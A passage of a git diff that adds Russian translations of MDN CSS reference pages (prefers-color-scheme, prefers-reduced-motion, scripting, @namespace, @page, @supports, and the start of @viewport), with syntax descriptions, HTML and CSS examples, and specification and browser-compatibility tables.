+  - CSS
+  - Reference
+  - prefers-color-scheme
+translation_of: Web/CSS/@media/prefers-color-scheme
+---
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS">CSS</a> <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Media_Queries/Using_media_queries">медиа функция</a> <strong><code>prefers-color-scheme</code></strong> может использоваться для определения того, светлую или тёмную тему использует пользователь в операционной системе.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>Указывает, что пользователь не сделал никаких предпочтений, известных системе. Значение этого ключевого слова оценивается как <code>false</code> в <a href="https://drafts.csswg.org/mediaqueries-5/#boolean-context">логическом контексте</a>.</dd>
+ <dt><code><dfn>light</dfn></code></dt>
+ <dd>Указывает, что пользователь выбрал светлую тему в операционной системе.</dd>
+ <dt><code><dfn>dark</dfn></code></dt>
+ <dd>Указывает, что пользователь выбрал тёмную тему в операционной системе.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В этом примере используется элемент с черным фоном и белым текстом, если пользователь выбрал светлую тему в операционной системе, то цвета будут инвертированы.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="day"&gt;Day (initial)&lt;/div&gt;
+&lt;div class="day light-scheme"&gt;Day (changes in light scheme)&lt;/div&gt;
+&lt;div class="day dark-scheme"&gt;Day (changes in dark scheme)&lt;/div&gt; &lt;br&gt;
+
+&lt;div class="night"&gt;Night (initial)&lt;/div&gt;
+&lt;div class="night light-scheme"&gt;Night (changes in light scheme)&lt;/div&gt;
+&lt;div class="night dark-scheme"&gt;Night (changes in dark scheme)&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.day   { background: #eee; color: black; }
+.night { background: #333; color: white; }
+
+@media (prefers-color-scheme: dark) {
+  .day.dark-scheme   { background:  #333; color: white; }
+  .night.dark-scheme { background: black; color:  #ddd; }
+}
+
+@media (prefers-color-scheme: light) {
+  .day.light-scheme   { background: white; color:  #555; }
+  .night.light-scheme { background:  #eee; color: black; }
+}
+
+.day, .night {
+  display: inline-block;
+  padding: 1em;
+  width: 7em;
+  height: 2em;
+  vertical-align: middle;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Примеры")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}</p>
+   </td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.at-rules.media.prefers-color-scheme")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://stuffandnonsense.co.uk/blog/redesigning-your-product-and-website-for-dark-mode">Редизайн вашего продукта и сайта для тёмного режима</a>(en)</li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}</div>
diff --git a/files/ru/web/css/@media/prefers-reduced-motion/index.html b/files/ru/web/css/@media/prefers-reduced-motion/index.html
new file mode 100644
index 0000000000..b7f007c5a9
--- /dev/null
+++ b/files/ru/web/css/@media/prefers-reduced-motion/index.html
@@ -0,0 +1,158 @@
+---
+title: prefers-reduced-motion
+slug: Web/CSS/@media/prefers-reduced-motion
+tags:
+  - '@media'
+  - CSS
+  - Media Queries
+  - Reference
+  - media feature
+translation_of: Web/CSS/@media/prefers-reduced-motion
+---
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS">CSS</a> <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Media_Queries/Using_media_queries">медиа функция</a> <code><strong>prefers-reduced-motion</strong></code> может использоваться для определения того, запросил ли пользователь, чтобы ОС минимизировала количество анимации или движения, которые она использует.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>Указывает, что пользователь не сделал никаких предпочтений, известных системе.</dd>
+ <dt><code><dfn>reduce</dfn></code></dt>
+ <dd>Указывает, что пользователь уведомил ОС, что он предпочитает интерфейс, который минимизирует количество движения или анимации, предпочтительно до точки, где удаляются все несущественные движения.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В этом примере присутствует раздражающая анимация, если вы не включите «Уменьшить движение» в настройках доступности.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="animation"&gt;animated box&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+    -webkit-animation: none;
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">.animation {
+  background-color: rebeccapurple;
+  color: #fff;
+  font: 1.2em Helvetica, arial, sans-serif;
+  width: 200px;
+  padding: 1em;
+  border-radius: 1em;
+  text-align: center;
+}
+
+/* ----------------------------------------------
+ * Generated by Animista on 2018-9-2 13:47:0
+ * w: http://animista.net, t: @cssanimista
+ * ---------------------------------------------- */
+
+/**
+ * ----------------------------------------
+ * animation vibrate-1
+ * ----------------------------------------
+ */
+@-webkit-keyframes vibrate {
+  0% {
+    -webkit-transform: translate(0);
+            transform: translate(0);
+  }
+  20% {
+    -webkit-transform: translate(-2px, 2px);
+            transform: translate(-2px, 2px);
+  }
+  40% {
+    -webkit-transform: translate(-2px, -2px);
+            transform: translate(-2px, -2px);
+  }
+  60% {
+    -webkit-transform: translate(2px, 2px);
+            transform: translate(2px, 2px);
+  }
+  80% {
+    -webkit-transform: translate(2px, -2px);
+            transform: translate(2px, -2px);
+  }
+  100% {
+    -webkit-transform: translate(0);
+            transform: translate(0);
+  }
+}
+@keyframes vibrate {
+  0% {
+    -webkit-transform: translate(0);
+            transform: translate(0);
+  }
+  20% {
+    -webkit-transform: translate(-2px, 2px);
+            transform: translate(-2px, 2px);
+  }
+  40% {
+    -webkit-transform: translate(-2px, -2px);
+            transform: translate(-2px, -2px);
+  }
+  60% {
+    -webkit-transform: translate(2px, 2px);
+            transform: translate(2px, 2px);
+  }
+  80% {
+    -webkit-transform: translate(2px, -2px);
+            transform: translate(2px, -2px);
+  }
+  100% {
+    -webkit-transform: translate(0);
+            transform: translate(0);
+  }
+}
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-reduced-motion', 'prefers-reduced-motion')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.prefers-reduced-motion")}}</p>
+
+<h2 id="See_also" name="See_also"><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight#See_also">Смотрите также</a></h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An introduction to the reduced motion media query</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}</div>
diff --git a/files/ru/web/css/@media/scripting/index.html b/files/ru/web/css/@media/scripting/index.html
new file mode 100644
index 0000000000..92fcbf3192
--- /dev/null
+++ b/files/ru/web/css/@media/scripting/index.html
@@ -0,0 +1,83 @@
+---
+title: scripting
+slug: Web/CSS/@media/scripting
+translation_of: Web/CSS/@media/scripting
+---
+<div>{{cssref}}</div>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS">CSS</a> <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Media_Queries/Using_media_queries">медиа функция</a> <code><strong>scripting</strong></code> может использоваться для проверки доступности скриптов (таких как JavaScript)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция <code><strong>scripting</strong></code> указывается в качестве значения ключевого слова, выбранного из списка ниже.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Скрипты полностью недоступны в текущем документе.</dd>
+ <dt><code>initial-only</code></dt>
+ <dd>Скрипты включаются во время начальной загрузки страницы, но не после.</dd>
+ <dt><code>enabled</code></dt>
+ <dd>Скрипты поддерживаются и активны в текущем документе.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="script-none"&gt;You do not have scripting available. :-(&lt;/p&gt;
+&lt;p class="script-initial-only"&gt;Your scripting is only enabled during the initial page load. Weird.&lt;/p&gt;
+&lt;p class="script-enabled"&gt;You have scripting enabled! :-)&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  color: lightgray;
+}
+
+@media (scripting: none) {
+  .script-none {
+     color: red;
+  }
+}
+
+@media (scripting: initial-only) {
+  .script-initial-only {
+    color: red;
+  }
+}
+
+@media (scripting: enabled) {
+  .script-enabled {
+    color: red;
+  }
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#scripting', 'scripting')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Отложено до Media Queries Level 5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.scripting")}}</p>
diff --git a/files/ru/web/css/@namespace/index.html b/files/ru/web/css/@namespace/index.html
new file mode 100644
index 0000000000..bf0f745263
--- /dev/null
+++ b/files/ru/web/css/@namespace/index.html
@@ -0,0 +1,131 @@
+---
+title: '@namespace'
+slug: Web/CSS/@namespace
+tags:
+  - Неймспейсы
+  - Пространства имён
+translation_of: Web/CSS/@namespace
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>@namespace</code> - это правила (<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/At-rule">at-rule</a>) определяющие <a href="https://developer.mozilla.org/en-US/docs/Namespaces">пространства имён XML</a>, которые будут использованы в <a href="https://developer.mozilla.org/en-US/docs/Web/API/StyleSheet">таблице стилей</a>. Они применяются чтобы ограничить CSS селекторы только элементами принадлежащими конкретному пространству имён. Namespace'ы полезны, в основном, когда идёт взаимодействие с документами содержащими множество неймспейсов, такими как HTML5 со встроенным SVG, MathML или XML.</p>
+
+<pre class="brush: css"><code>@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* This matches all XHTML &lt;a&gt; elements, as XHTML is the default unprefixed namespace */
+a {}
+
+/* This matches all SVG &lt;a&gt; elements */
+svg|a {}
+
+/* This matches both XHTML and SVG &lt;a&gt; elements */
+*|a {}</code></pre>
+
+<p>Любое <code>@namespace</code> правило обязано следовать всем <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/%40charset">@charset</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/%40import">@import</a> правилам, а так же всем <a href="https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleDeclaration">описаниям стилей</a> в таблице стилей.</p>
+
+<p><code>@namespace</code> может быть использован для определения стандартного пространства имён для конкретной таблице стилей. Когда стандартное пространство имён определено, все селекторы (но не атрибуты селекторов, смотрите заметку ниже) применяются только к элементам в этом неймспейсе.</p>
+
+<p><code>@namespace</code> правила можно использовать для определения префиксов имён. Когда селектор имеет префикс, он будет выбирать элементы совпадающие по неймспейсу и именам или атрибутам.</p>
+
+<p>В <a href="/ru/docs/HTML/HTML5">HTML5</a> существуют <a href="https://html.spec.whatwg.org/#foreign-elements">сторонние элементы</a> которые автоматически ассоциируются с соответствующими пространствами имён. Это значит, что HTML элементы будут действовать так, как если бы они находились в пространстве имён (<code>http://www.w3.org/1999/xhtml</code>), также если они не имеют <code>xmlns</code> аттрибута где-либо в документе, то такие элементы как <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/SVG">&lt;svg&gt;</a> и <a href="/ru/docs/Web/MathML/Element/math">&lt;math&gt;</a> будут ассоциироваться с их стандартными пространствами имён (<code>http://www.w3.org/2000/svg</code> and <code>http://www.w3.org/1998/Math/MathML</code>).</p>
+
+<div class="blockIndicator note">
+<p>Заметка: В XML, если префикс отличается от атрибута (Например, <code>xlink:href</code>), то аттрибут не будет иметь неймспейса. Другими словами, аттрибуты не могут наследовать пространство имён элемента в котором они находятся.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css"><code>/* Default namespace */
+@namespace url(XML-namespace-URL);
+@namespace "XML-namespace-URL";
+
+/* Prefixed namespace */
+@namespace prefix url(XML-namespace-URL);
+@namespace prefix "XML-namespace-URL";</code></pre>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="brush: css">{{csssyntax}}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}</td>
+   <td>{{Spec2('CSS3 Namespaces')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>9.0</td>
+   <td>8.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Namespace selector (|)</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>9.0</td>
+   <td>8.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html
new file mode 100644
index 0000000000..31ac993dba
--- /dev/null
+++ b/files/ru/web/css/@page/index.html
@@ -0,0 +1,103 @@
+---
+title: '@page'
+slug: Web/CSS/@page
+tags:
+  - Верстка
+  - печать
+  - страница
+translation_of: Web/CSS/@page
+---
+<div>{{CSSRef}}</div>
+
+<p>Правило CSS <strong><code>@page</code></strong> используется для модификации некоторых свойств CSS при печати документа.<strong> </strong>Вы не можете изменить все CSS свойства с <code>@page</code>. Вы можете изменить только margin, orphans, widows, и разрывы страницы документа. Попытки изменить любые другие свойства CSS будут игнорироваться.</p>
+
+<pre class="brush: css no-line-numbers">@page {
+  margin: 1cm;
+}
+
+@page :first {
+  margin: 2cm;
+}</pre>
+
+<p>Правило <code>@page</code> доступно через интерфейс объектной модели CSS {{domxref("CSSPageRule")}}.</p>
+
+<div class="note"><strong>Примечание:</strong> В W3C iобсуждают, как обрабатывать связанные с областью просмотра единицы {{cssxref("&lt;length&gt;")}} такие как, <code>vh</code>, <code>vw</code>, <code>vmin</code>, и <code>vmax</code>. Тем временем не используя их с правилом <code>@page</code>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Дескрипторы">Дескрипторы</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/size"><code>size</code></a></dt>
+ <dd>Указывает целевой размер и ориентацию полей страницы, содержащихся в блоке. В общем случае, когда одно поле страницы отображается на одном листе страницы, он также определяет размер и ориентацию листа страницы.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/marks"><code>marks</code></a></dt>
+ <dd>Добавляет обрезку и/или регистрационные отметки в документ.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/bleed"><code>bleed</code></a></dt>
+ <dd>Определяет степень заступа за пределы поля страницы, при котором отображаемая область страницы отрезается.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Пожалуйста, обратитесь к различным <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B">плевдоклассам</a> <code>@page</code> для примеров.</p>
+
+<ul>
+ <li>{{Cssxref(":blank")}}</li>
+ <li>{{Cssxref(":first")}}</li>
+ <li>{{Cssxref(":left")}}</li>
+ <li>{{Cssxref(":right")}}</li>
+ <li>{{Cssxref(":recto")}} {{experimental_inline}}</li>
+ <li>{{Cssxref(":verso")}} {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Добавлены селекторы страницы <code>:recto</code> и <code>:verso</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Нет изменений для {{SpecName('CSS2.1')}}, хотя больше правил CSS можно использовать внутри <code>@page</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.at-rules.page")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Смотрите тикет <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> в Bugzilla для отслеживания прогресса по теме (базовый страничный счетчик, и т.д.)</li>
+</ul>
diff --git a/files/ru/web/css/@supports/index.html b/files/ru/web/css/@supports/index.html
new file mode 100644
index 0000000000..98af6f9d2f
--- /dev/null
+++ b/files/ru/web/css/@supports/index.html
@@ -0,0 +1,192 @@
+---
+title: '@supports'
+slug: Web/CSS/@supports
+translation_of: Web/CSS/@supports
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание" style="">Описание</h2>
+
+<p style="">The <code>@supports</code> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> associates a set of nested statements, in a CSS block, that is delimited by curly braces, with a condition consisting of testing of CSS declarations, that is property-value pairs, combined with arbitrary conjunctions, disjunctions, and negations of them. Such a condition is called a <em>supports condition</em>.</p>
+
+<p style=""><code>@supports</code> gives CSS the ability to perform a <em>feature query</em>.</p>
+
+<p>The <code>@supports</code> at-rule may be used not only at the top level of a CSS, but also inside any <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a> and can be accessed via the CSS object model interface {{domxref("CSSSupportsRule")}}.</p>
+
+<h2 id="Syntax" name="Syntax" style="">Синтаксис</h2>
+
+<p style="">A supports condition consists of one or several declarations combined by different logical operators. Precedence of operators can be overruled by using parentheses.</p>
+
+<h3 id="Синтаксис_объявления" style=""><span class="short_text" id="result_box" lang="ru"><span class="hps">Синтаксис объявления</span></span></h3>
+
+<p>The simplest expression is a CSS declaration, that is a CSS property name followed by a value, separated by a colon. The following expression</p>
+
+<pre class="brush:css">( transform-origin: 5% 5% )</pre>
+
+<p>returns true if the {{ cssxref("transform-origin") }} implements a syntax considering <code>5% 5%</code> as valid.</p>
+
+<p>A CSS declaration is always surrounded by parentheses.</p>
+
+<h3 id="Оператор_not" style="">Оператор not</h3>
+
+<p>The <code>not</code> operator can precede any expression to create a new expression, resulting in the negation of the original expression. The following expression</p>
+
+<pre class="brush:css">not ( transform-origin: 10em 10em 10em )</pre>
+
+<p>returns true if {{ cssxref("transform-origin") }} doesn't implement a syntax considering <code>10em 10em 10em</code> as valid.</p>
+
+<p>Like any operator, the <code>not</code> operator can be applied to a declaration of any complexity. The following examples are all valid expressions:</p>
+
+<pre class="brush:css">not ( not ( transform-origin: 2px ) )
+(display: flexbox) and ( not (display: inline-grid) )</pre>
+
+<div class="note style-wrap">
+<p style=""><strong>Предупреждение:</strong> there is no need to enclose the <code>not</code> operator between two parentheses when at the top level. To combine it with other operators, like <code>and</code> and <code>or</code>, the parentheses are required.</p>
+</div>
+
+<h3 id="Оператор_and" style="">Оператор and</h3>
+
+<p style="">From two expressions, the <code>and</code> operator creates a new expression consisting in the conjunction of the two original ones; the resulting expression is true only if both of the original expressions also resolve to true. In this example, the complete expression resolves to true if and only if the two expressions are simultaneously true:</p>
+
+<pre class="brush:css">(display: table-cell) and (display: list-item)</pre>
+
+<p>Several conjunctions can be juxtaposed without the need of more parentheses:</p>
+
+<pre class="brush:css">(display: table-cell) and (display: list-item) and (display:run-in)</pre>
+
+<p>is equivalent to:</p>
+
+<pre class="brush:css">(display: table-cell) and ((display: list-item) and (display:run-in))</pre>
+
+<h3 id="Оператор_or" style="">Оператор or</h3>
+
+<p>From two expressions, the <code>or</code> operator creates a new expression consisting in the disjunction of the two original ones; the resulting expression is true if one, or both, of the original expressions also resolves to true. In this example, the complete expression resolves to true if at least one of the two expressions is true:</p>
+
+<pre class="brush:css;">( transform-style: preserve ) or ( -moz-transform-style: preserve )</pre>
+
+<p>Several disjunctions can be juxtaposed without the need of more parentheses:</p>
+
+<pre class="brush:css">( transform-style: preserve ) or ( -moz-transform-style: preserve ) or
+( -o-transform-style: preserve ) or ( -webkit-transform-style: preserve  )</pre>
+
+<p>is equivalent to:</p>
+
+<pre class="brush:css">( transform-style: preserve-3d ) or (( -moz-transform-style: preserve-3d ) or
+(( -o-transform-style: preserve-3d ) or ( -webkit-transform-style: preserve-3d  )))</pre>
+
+<div class="note style-wrap">
+<p style=""><strong>Предупреждение</strong>: when using both <code>and</code> and <code>or</code> operators, the parentheses must be used in order to define the order in which they apply. If not, the condition is invalid leading to the whole at-rule to be ignored.</p>
+</div>
+
+<h3 id="Формальный_синтаксис" style="">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры" style="">Примеры</h2>
+
+<h3 id="Тестирование_заданного_свойства" style="">Тестирование заданного свойства</h3>
+
+<pre class="brush:css;">@supports (animation-name: test) {
+    … /* specific CSS applied when animations are supported unprefixed */
+    @keyframes { /* @supports being a CSS conditional group at-rule, it can includes other relevant at-rules */
+      …
+    }
+}
+</pre>
+
+<h3 id="Тестирование_заданного_свойства_или_его_версии_с_префиксом" style="">Тестирование заданного свойства или его версии с префиксом</h3>
+
+<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* specific CSS applied when 3D transforms, eventually prefixed, are supported */
+}
+</pre>
+
+<h3 id="Тестирование_неподдерживаемого_или_специфического_свойства" style="">Тестирование неподдерживаемого или специфического свойства</h3>
+
+<pre class="brush:css;">@supports not ((text-align-last:justify) or (-moz-text-align-last:justify) ){
+    … /* specific CSS applied to simulate text-align-last:justify */
+}</pre>
+
+<h2 id="Спецификации" style="">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="">
+   <td>{{ SpecName('CSS3 Conditional', '#at-supports', '@supports') }}</td>
+   <td style="">{{ Spec2('CSS3 Conditional') }}</td>
+   <td style="">Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility" style="">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop" style="">
+<table class="compat-table">
+ <tbody>
+  <tr style="">
+   <th style="">Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(28.0)}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoDesktop("22") }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.1</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="">
+<table class="compat-table">
+ <tbody>
+  <tr style="">
+   <th style="">Особенность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("22") }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.1</td>
+   <td>9</td>
+   <td>{{CompatChrome(28.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 17 to Gecko 21 supported this feature only if the user enables it by setting the config value <code>layout.css.supports-rule.enabled</code> to <code>true</code>.</p>
+
+<h2 id="Смотрите_также" style="">Смотрите также</h2>
+
+<ul>
+ <li>The CSSOM class {{ domxref("CSSSupportsRule") }}, and the {{ domxref("CSS.supports") }} method that allows to perform the same check via JavaScript.</li>
+</ul>
diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html
new file mode 100644
index 0000000000..68a306a547
--- /dev/null
+++ b/files/ru/web/css/@viewport/index.html
@@ -0,0 +1,162 @@
+---
+title: '@viewport'
+slug: Web/CSS/@viewport
+tags:
+  - Adaptation
+  - At-rule
+  - CSS
+  - Device
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/@viewport
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Кратко">Кратко</h2>
+
+<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> cсодержит набор вложенных дескрипторов в блоке CSS, который разделен фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Коэффициент масштабирования, равный 1,0 или 100%, соответствует отсутствию масштабирования. Увеличьте масштаб больших значений. Меньшие значения уменьшаются</p>
+
+<h3 id="Дескриптор">Дескриптор</h3>
+
+<p>Браузеры должны игнорировать непризнанные дескрипторы.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-width"><code>min-width</code></a></dt>
+ <dd>Используется при определении ширины видового экрана при первом отображении документа.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt>
+ <dd>Используется при определении ширины видового экрана при первом отображении документа.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt>
